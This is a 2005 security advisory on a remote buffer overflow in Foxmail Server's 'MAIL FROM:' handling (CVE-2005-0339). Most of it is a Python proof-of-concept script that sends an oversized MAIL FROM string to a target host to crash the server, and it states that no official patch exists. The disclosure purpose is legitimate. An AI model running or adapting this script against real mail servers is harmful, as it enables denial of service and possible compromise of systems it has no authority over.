|
|
>> Foxmail Server "MAIL FROM:" Remote Buffer Overflow Vulnerability
|
Title : Foxmail Server "MAIL FROM:" Remote Buffer Overflow Vulnerability VUPEN ID : VUPEN/ADV-2005-0103 CVE ID : CVE-2005-0339 CWE ID : CWE-
Rated as : High Risk 
Remotely Exploitable : Yes Locally Exploitable : Yes Release Date : 2005-02-06
|
A new vulnerability was reported in Foxmail Server, it could be exploited by remote attackers to compromise a system or conduct Denial of Service attacks. The flaw occurs when handling malformed "MAIL FROM:" commands, which may be exploited to crash the server or execute arbitrary commands with SYSTEM privileges.
------------------- Proof of Concept ------------------
#!/usr/bin/python
#Code by OYXin
import socket
import sys
import getopt
def usage():
print "Usage: foxserver.py -h host -p port"
sys.exit(0)
if __name__ == '__main__':
try:
opts, args = getopt.getopt(sys.argv[1:], "h:p:")
except getopt.GetoptError, msg:
print msg
usage()
for o,a in opts:
if o in ["-h"]:
host = a
if o in ["-p"]:
port = int(a)
evilbuf = "MAIL-FROM: <" + "A"*5000 + ">" + "\r\n"
evilbuf += "RCPT-TO: postmaster company mailDATA" + "\r\n"
evilbuf += "Message-ID: 123" + "\r\n"
evilbuf += "ASDF" + "\r\n"
evilbuf += "." + "\r\n"
evilbuf += "QUIT" + "\r\n"
try:
sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockfd.connect((host, port))
recvbuf = sockfd.recv(1024)
print `recvbuf`
sockfd.send("HELO localhost\r\n")
recvbuf = sockfd.recv(1024)
print `recvbuf`
sockfd.send(evilbuf)
except socket.error, msg:
print msg
sockfd.close()
Affected Products
Foxmail Server for Windows 2.0 and prior
Solution
VUPEN Security is not aware of any official supplied patch for this issue.
References
http://www.vupen.com/english/advisories/2005/0103
Credits
Vulnerability reported by Fortinet
ChangeLog
2005-02-06 : Initial release
2005-02-11 : Updated CVE
Vulnerability Management
Subscribe to VUPEN VNS and receive real-time e-mail and SMS alerts when new advisories or patches relevant to your systems and network configurations are available.
Feedback
If you have additional information or corrections for this security advisory please submit them via our contact form. | |
|